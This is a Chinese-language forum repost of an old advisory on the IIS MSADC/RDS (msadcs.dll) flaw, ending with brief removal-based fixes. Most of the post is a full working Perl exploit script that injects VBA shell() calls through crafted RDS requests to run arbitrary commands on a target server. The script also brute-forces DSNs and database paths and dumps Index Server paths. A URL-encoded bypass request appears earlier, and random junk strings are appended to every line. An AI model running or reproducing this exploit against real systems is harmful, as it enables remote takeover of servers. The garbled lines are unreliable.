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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) @Dh2@2`>  
B}iEhWO6  
涉及程序: h 3CA,$HJ  
Microsoft NT server SndR:{  
F^u12R)  
描述: >NKJ@4Y  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 x s{pGQ6Q  
?R)]D:`  
详细: Z>9@)wo  
如果你没有时间读详细内容的话,就删除: ,dIev<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll xqG<R5k>>  
有关的安全问题就没有了。  ? }M81  
j]BRfA  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8>v_th  
7Z6=e6/\  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ,|]J aZq  
关于利用ODBC远程漏洞的描述,请参看: nq M7Is  
p~$cwbQ!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u.GnXuax  
1r;zA<<%R  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *&NP?-E  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp w 9dkJo  
N[e,){v  
这里不再论述。 `6U!\D  
` =>}*GS  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: u:l-qD9=(  
entU+Or  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -'&/7e6>y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! =>$)F 4LW  
]||b2[*  
q)k:pQ   
#将下面这段保存为txt文件,然后: "perl -x 文件名" KNVu[P)rv  
928_e)V  
#!perl ue_wuZi  
# '$9o(m#  
# MSADC/RDS 'usage' (aka exploit) script YWFE*wQ!  
# oW3"J6,S  
# by rain.forest.puppy YZol4q|ic  
# y}?|+/ dN  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me <`}P  
# beta test and find errors! Pxlc RF  
%O"8|ZG9{  
use Socket; use Getopt::Std; ~non_pJ  
getopts("e:vd:h:XR", \%args); bKQho31a'  
M-o'`e'  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; jxog8 E  
|toP8 6  
if (!defined $args{h} && !defined $args{R}) { jf9+H!?^N  
print qq~ y{ ur'**l  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ){;XI2  
-h <host> = host you want to scan (ip or domain) b,xZY1a  
-d <seconds> = delay between calls, default 1 second _ \D %  
-X = dump Index Server path table, if available w*qj0:i5as  
-v = verbose g>lZs  
-e = external dictionary file for step 5 ]S6Gz/4aV+  
@-$8)?`q  
Or a -R will resume a command session #<*Vc6pC  
AC,RS 7  
~; exit;} $^]K611w9  
=Hi@q "  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; GcBqe=/B!  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Yuv i{ 0  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  ;l$$!PJ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); GK@OdurAR  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Su#0 F0  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !}&|a~U@`k  
`'YX>u/  
if (!defined $args{R}){ $ret = &has_msadc; > i/jqT/  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Tq1\  
b($hp%+yJ  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" |+#Zuq  
. "cmd /c "; I?e5h@uE  
$in=<STDIN>; chomp $in; y9:4n1fg  
$command="cmd /c " . $in ; Tgdy;?  
+ jLy>=u  
if (defined $args{R}) {&load; exit;} ^b8~X [1J_  
$Z]&3VxxY  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; "=h1gql'  
&try_btcustmr; Xg)8}  
KkJqqO"EL  
print "\nStep 2: Trying to make our own DSN..."; {9x_E {  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <Ky-3:pxeM  
WZ CI*'  
print "\nStep 3: Trying known DSNs..."; Z vysLHj  
&known_dsn; =nEP:7~{  
4E$MhP  
print "\nStep 4: Trying known .mdbs..."; 98[uRywI  
&known_mdb; B~Sj#(WEa  
.~]|gg~  
if (defined $args{e}){ ]eL# bJ  
print "\nStep 5: Trying dictionary of DSN names..."; Rlq7.2cP  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } |L2>|4  
[|(|"dh@^H  
print "Sorry Charley...maybe next time?\n"; mQ[$U  
exit; R N$vKJk  
,B <\a  
############################################################################## (5yM%H8:  
aacy5E  
sub sendraw { # ripped and modded from whisker pjeNBSu6  
sleep($delay); # it's a DoS on the server! At least on mine... sZ `Tv[  
my ($pstr)=@_; n$i X6Cd  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =?i?-6M  
die("Socket problems\n"); &W<7!U:2m  
if(connect(S,pack "SnA4x8",2,80,$target)){ #AD_EN9  
select(S); $|=1; T+Oqd\05.+  
print $pstr; my @in=<S>; d ^bSV4  
select(STDOUT); close(S); ho\1[xS  
return @in; fM= o?w6v  
} else { die("Can't connect...\n"); }} M xE]EJZ  
D!j/a!MaKk  
############################################################################## xl}rdnf}  
RT[p!xL  
sub make_header { # make the HTTP request cx\"r  
my $msadc=<<EOT I7ao2aS  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 1Bytu >2  
User-Agent: ACTIVEDATA iE%"Q? Q/  
Host: $ip x YS81  
Content-Length: $clen [|]J8o@u^  
Connection: Keep-Alive {[y6qQm  
$WA wMS,  
ADCClientVersion:01.06 IiYL2JS;t|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 xR+vu>f  
G~9m,l+  
--!ADM!ROX!YOUR!WORLD! ]2AOW}=  
Content-Type: application/x-varg FYAEM!dyy  
Content-Length: $reqlen &^=Lr:I  
3smkY  
EOT T4eJ:u*;  
; $msadc=~s/\n/\r\n/g; WogUILB  
return $msadc;} c{q+h V=  
.3 EZk86  
############################################################################## ;n&95t1$  
k8gH#ENNK  
sub make_req { # make the RDS request &#p1ogf:  
my ($switch, $p1, $p2)=@_; At7!Pas#@g  
my $req=""; my $t1, $t2, $query, $dsn; omG2p  
#:)'D?,  
if ($switch==1){ # this is the btcustmr.mdb query )V1XL   
$query="Select * from Customers where City=" . make_shell(); 0seCQANd  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . g6M>S1oOO  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} z/7q#~J,  
E7uIur=g!  
elsif ($switch==2){ # this is general make table query ]c(FgY c  
$query="create table AZZ (B int, C varchar(10))"; TvU z^  
$dsn="$p1";} +=tdgw/  
Wf~^,]9N  
elsif ($switch==3){ # this is general exploit table query )GB#"2  
$query="select * from AZZ where C=" . make_shell(); nrEI0E9  
$dsn="$p1";} _>gz&  
= 0 ~4k#  
elsif ($switch==4){ # attempt to hork file info from index server )nN!% |J  
$query="select path from scope()"; -#\T  
$dsn="Provider=MSIDXS;";} 1/dL-"*0  
8Km&3nCv$Q  
elsif ($switch==5){ # bad query Gek?+|m  
$query="select"; PGTEIptX7  
$dsn="$p1";} 7oZ :/6_>  
\u[x<-\/6  
$t1= make_unicode($query); y_X6{}Ke  
$t2= make_unicode($dsn); oz!)x\m*H  
$req = "\x02\x00\x03\x00"; 0=ws)@[I  
$req.= "\x08\x00" . pack ("S1", length($t1)); o;8$#gyNY  
$req.= "\x00\x00" . $t1 ; Ev fvU:z  
$req.= "\x08\x00" . pack ("S1", length($t2)); x ;DoQx  
$req.= "\x00\x00" . $t2 ; mxlh\'b  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Xaz "!  
return $req;} zIa={tU  
x'|ty[87  
############################################################################## |<W$rzM  
axQ>~v WN/  
sub make_shell { # this makes the shell() statement '6N)sqTR  
return "'|shell(\"$command\")|'";} bT:u |/I  
>8Oa(9n  
############################################################################## S_lGr k\j  
>X~B1D,SV7  
sub make_unicode { # quick little function to convert to unicode *yZ6"  
my ($in)=@_; my $out; Ww<Y]H$xZ<  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Ah2@sp,z  
return $out;} `YOYC  
 5%-{r&  
############################################################################## }7.A~h  
`d <`>  
sub rdo_success { # checks for RDO return success (this is kludge) H,> }t S  
my (@in) = @_; my $base=content_start(@in); d) -(C1f  
if($in[$base]=~/multipart\/mixed/){ =!TUf/O-  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} jz!I +  
return 0;} f) sy-o!  
>.<VD7p  
############################################################################## }*x1e_m}H  
oW~W(h!  
sub make_dsn { # this makes a DSN for us A mZXUb  
my @drives=("c","d","e","f"); !W}sOK7#  
print "\nMaking DSN: "; \h ~_<)  
foreach $drive (@drives) { /-M:6  
print "$drive: "; !)a_@d.;i  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . :WB uU  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ay8]"sa  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 0cm34\*  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .n\JY;"  
return 0 if $2 eq "404"; # not found/doesn't exist k_pv6YrE  
if($2 eq "200") { n|5\Q  
foreach $line (@results) { Xi="gxp$%  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} q9 Df`6+  
} return 0;} +C% 6jGGh  
juEPUsE  
############################################################################## y 4i3m(S  
KjGu !B  
sub verify_exists { J v}  
my ($page)=@_; # ~<]z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); qT#e -.G  
return $results[0];} 5]O{tSj  
-XYvjW,|  
############################################################################## ^Iw$ (  
N R c4*zQJ  
sub try_btcustmr { [CQR  
my @drives=("c","d","e","f"); xvl$,\iqE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %`]+sg[i  
x80IS:TP  
foreach $dir (@dirs) { 1Vpti4OmU  
print "$dir -> "; # fun status so you can see progress t:10  
foreach $drive (@drives) {  O3sV)  
print "$drive: "; # ditto wfo,r 7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; w)dnmrKDZg  
$reqlenlen=length( "$reqlen" ); 5FOMh"!z\  
$clen= 206 + $reqlenlen + $reqlen; bq/Aopfr  
zQ,rw[C"W  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); YTTyMn  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 0pE >O7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} =:rg1wo"c  
+a5F:3$  
############################################################################## H )ej]DXy  
ACyK#5E  
sub odbc_error { s%:fZ7y  
my (@in)=@_; my $base; j[U#J  
my $base = content_start(@in); wm~7`&  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Gxw1P@<F:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vPDw22L;'  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xF8r+{_J)  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  [ <X%  
return $in[$base+4].$in[$base+5].$in[$base+6];} A.>mk598  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; cx[^D,usf~  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . [ U:C62oK,  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ?[JP[ qS  
o]1BWwtY&  
############################################################################## S=4o@3%$  
9xR5Jm>k  
sub verbose { wQSan&81Q  
my ($in)=@_; ABCm2$<  
return if !$verbose; Yg&(kmm  
print STDOUT "\n$in\n";} ?X@!jB,Pv  
7P1Pk?pxy  
############################################################################## 4)gG_k  
x7S\-<8  
sub save { M=iTwK  
my ($p1, $p2, $p3, $p4)=@_; @j|E"VYY  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; &5 "!  0  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; U}w'/:H  
close OUT;} .\ Ijq!  
=UKxf  
##############################################################################  \0)jWCK  
vhBW1/w&F  
sub load { G^.N$wcv  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; DhE-g<  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); b1C)@gl!Z  
@p=<IN>; close(IN); [lzd'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); jrp>Y:  
$target= inet_aton($ip) || die("inet_aton problems"); t]HY@@0g  
print "Resuming to $ip ..."; ]$/oSa/  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Mq\=pxC@  
if($p[1]==1) { hhU_kI  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; +p%3pnj:K  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; syw1Z*WK  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); b6-N2F1Fs  
if (rdo_success(@results)){print "Success!\n";} t\,Y<9{w  
else { print "failed\n"; verbose(odbc_error(@results));}} n{gEIUo#  
elsif ($p[1]==3){ q%sZV>  
if(run_query("$p[3]")){ -`faXFW'  
print "Success!\n";} else { print "failed\n"; }} 9L>?N:%5  
elsif ($p[1]==4){ COw"6czX/  
if(run_query($drvst . "$p[3]")){ NzT &K7v  
print "Success!\n"; } else { print "failed\n"; }} `G$>T#Dq  
exit;} BA h'H&;V  
EJn]C=_(  
############################################################################## >eTbg"\  
6=f)3!=  
sub create_table { WZ-~F/:c%  
my ($in)=@_;  W9?* ~!  
$reqlen=length( make_req(2,$in,"") ) - 28; AX`T ku  
$reqlenlen=length( "$reqlen" ); #QwkRzVoy  
$clen= 206 + $reqlenlen + $reqlen; }y6|H,t9  
my @results=sendraw(make_header() . make_req(2,$in,"")); Y D<3#Dr]  
return 1 if rdo_success(@results); Tri\5O0lPs  
my $temp= odbc_error(@results); verbose($temp); j!4{+&Laq  
return 1 if $temp=~/Table 'AZZ' already exists/; X /c8XLe"  
return 0;} JVoC2Z<  
-DkD*64wu  
############################################################################## X$!fR >Zc  
.`IhxE~mN  
sub known_dsn { Em!- W5*s  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go u IXA{89  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", )Q=u[ p  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _*AI1/>`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); %Xh}{o$G  
VukbvBWPN  
foreach $dSn (@dsns) { cy^=!EfA  
print "."; }2]|*?1,  
next if (!is_access("DSN=$dSn")); e* [wF}))  
if(create_table("DSN=$dSn")){ w-Ph-L/  
print "$dSn successful\n"; ~:Rbd9IB  
if(run_query("DSN=$dSn")){ 0z/*JVka  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { TnQ>v{Rx  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $9YQ aN%  
Pxl,"  
############################################################################## "WKOlfPa  
QATRrIj{e  
sub is_access { wa[L[mw  
my ($in)=@_; ,SIS3A>s  
$reqlen=length( make_req(5,$in,"") ) - 28; c 4AJ`f.5  
$reqlenlen=length( "$reqlen" ); "1,*6(;:  
$clen= 206 + $reqlenlen + $reqlen; 9:2Bt <q  
my @results=sendraw(make_header() . make_req(5,$in,"")); IP`lx  
my $temp= odbc_error(@results); jG1(Oe;#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); hNXZL>6  
return 0;} We y*\@  
as@8L|i*  
############################################################################## )+L|<6JXA  
^Q#_  
sub run_query { %2:UsI  
my ($in)=@_; X(tx8~z  
$reqlen=length( make_req(3,$in,"") ) - 28; e(s0mbJE  
$reqlenlen=length( "$reqlen" ); [l-o*@  
$clen= 206 + $reqlenlen + $reqlen; N[cIr{XBGN  
my @results=sendraw(make_header() . make_req(3,$in,"")); +mrLMbBiD  
return 1 if rdo_success(@results); J|I*n   
my $temp= odbc_error(@results); verbose($temp); K9@.l~n  
return 0;} neU=1socJ  
p<r^{y  
############################################################################## Jh.~]\u  
k@7#8(3  
sub known_mdb { J'2 Yrn  
my @drives=("c","d","e","f","g"); |Y Lja87  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wS=vm}}u  
my $dir, $drive, $mdb; O\Huj=  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; J=-z~\f56  
%1 )c{7  
# this is sparse, because I don't know of many dy+A$)gY<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", :|(YlNUv  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2{j$1EdI@-  
"\\system32\\certmdb.mdb", L]MWdD  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% K^!#;,0  
>T;!Z5L1  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", $T K*w8@:  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Lyc6nP;F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", bhD-;Y!6;  
"\\cfusion\\cfapps\\security\\realm_.mdb", !Q"L)%)'A  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", L ,R}l0kc  
"\\cfusion\\database\\cfexamples.mdb", 6 ZRc|ZQ  
"\\cfusion\\database\\cfsnippets.mdb", hj1;f<' U  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", dCo)en  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", UnDCC_ud  
"\\cfusion\\brighttiger\\database\\cleam.mdb", p l^;'|=M  
"\\cfusion\\database\\smpolicy.mdb", :WRD<D_4  
"\\cfusion\\database\cypress.mdb", uzxwJs'fz  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", = 9Yf o,F  
"\\website\\cgi-win\\dbsample.mdb", fuj9x;8X0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", L-- t(G  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" wa,`BAKJ+F  
); #these are just 3u j|jwL  
foreach $drive (@drives) { 6],?Y+_;)L  
foreach $dir (@dirs){ 4P#jMox  
foreach $mdb (@sysmdbs) { >8/Otg+h  
print "."; fBh"  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ h 8$.mQr  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 8`L]<Dm  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %1TKgNf  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3m& r?xZs  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Ar\fA)UQ`  
8Ze> hEG  
foreach $drive (@drives) { c(1tOQk.  
foreach $mdb (@mdbs) { 7KiraKb|  
print "."; N/F_,>E  
if(create_table($drv . $drive . $dir . $mdb)){ _ uOi:Ti  
print "\n" . $drive . $dir . $mdb . " successful\n"; v9H t~\>  
if(run_query($drv . $drive . $dir . $mdb)){  B=*0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; IiniaVuQ  
} else { print "Something's borked. Use verbose next time\n"; }}}} <%.%q  
} te[uAJ1 N  
O^\:J 2I(  
############################################################################## <N<0?GQ  
W!HjO;  
sub hork_idx { (ORbhjl  
print "\nAttempting to dump Index Server tables...\n"; EPW4 h/I  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; hRXnig{;3  
$reqlen=length( make_req(4,"","") ) - 28;  @N '_qu  
$reqlenlen=length( "$reqlen" ); Z4G%Ve[  
$clen= 206 + $reqlenlen + $reqlen; >e;jGk?-  
my @results=sendraw2(make_header() . make_req(4,"","")); ZN H-0mk  
if (rdo_success(@results)){ h<LS`$PK;E  
my $max=@results; my $c; my %d; Zsapu1HoL\  
for($c=19; $c<$max; $c++){ lrc%GU):  
$results[$c]=~s/\x00//g; k% \;$u=%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; :sw5@JdJ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; D?y-Y  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 8/p ]'BLf  
$d{"$1$2"}="";} ->pU!f)\X  
foreach $c (keys %d){ print "$c\n"; } _f 2rz+  
} else {print "Index server doesn't seem to be installed.\n"; }} jy0aKSn8  
mKtMI!FR  
############################################################################## U;3t{~Ym  
h];H]15&  
sub dsn_dict { 9Pg6,[*u  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &L0Ii)Ns  
while(<IN>){ +8ib928E  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; zq + 2@"q  
next if (!is_access("DSN=$dSn")); kj2qX9 Ms  
if(create_table("DSN=$dSn")){  R<1%Gdz  
print "$dSn successful\n"; waz5+l28  
if(run_query("DSN=$dSn")){ VEa"^{,w  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :C^{Lc  
print "Something's borked. Use verbose next time\n";}}} [BdRx`  
print "\n"; close(IN);} ,(oolx"Xa  
[&~x5l 8\C  
############################################################################## 7}qxWz  
pGU .+[|(  
sub sendraw2 { # ripped and modded from whisker *# <%04f  
sleep($delay); # it's a DoS on the server! At least on mine... \ P6 !  
my ($pstr)=@_; 7>im2"zm  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %_n%-Qn  
die("Socket problems\n"); ?`OF n F,K  
if(connect(S,pack "SnA4x8",2,80,$target)){ (ID%U  
print "Connected. Getting data"; w)J-e gc  
open(OUT,">raw.out"); my @in; 5.-:)=  
select(S); $|=1; print $pstr; r=.@APZB  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} G "+[@|  
close(OUT); select(STDOUT); close(S); return @in; +uF}mZ S^  
} else { die("Can't connect...\n"); }} B!<B7Q  
|{|B70v3Co  
############################################################################## u0) O Fz  
Vxrj(knck,  
sub content_start { # this will take in the server headers M&=SvM.f  
my (@in)=@_; my $c; 7]So=% q  
for ($c=1;$c<500;$c++) { LTBH/[q5  
if($in[$c] =~/^\x0d\x0a/){ X)(K|[  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } QpzdlB44l  
else { return $c+1; }}} <gX({FA  
return -1;} # it should never get here actually A/9<} m  
JkR%o #>5  
############################################################################## vD2(M1Q  
S7j(4@  
sub funky { `[E-V  
my (@in)=@_; my $error=odbc_error(@in); {pi_yr3  
if($error=~/ADO could not find the specified provider/){ p".wqg*W  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; q%k&O9C2]  
exit;} ;*K;)C  
if($error=~/A Handler is required/){ XU<owk  
print "\nServer has custom handler filters (they most likely are patched)\n"; h('5x,G%  
exit;} !m=Js"  
if($error=~/specified Handler has denied Access/){ GYy8kp84  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3,Z;J5VL4!  
exit;}} )y:M8((%  
K_t >T)K  
############################################################################## :xmj42w>^  
oGZuYpa9  
sub has_msadc { > mCH!ey  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); '%_K"rb  
my $base=content_start(@results); `"'u mIz  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); QgH{J8 0  
return 0;} vp&.  
5KbPpKpd  
######################## i \Yd_  
%q r,Ssa/  
5mVO9Q j  
解决方案: YG?4DF  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll &B :L9^  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 TUGD!b{  
Xsn M}  
拿出来充数 哈哈
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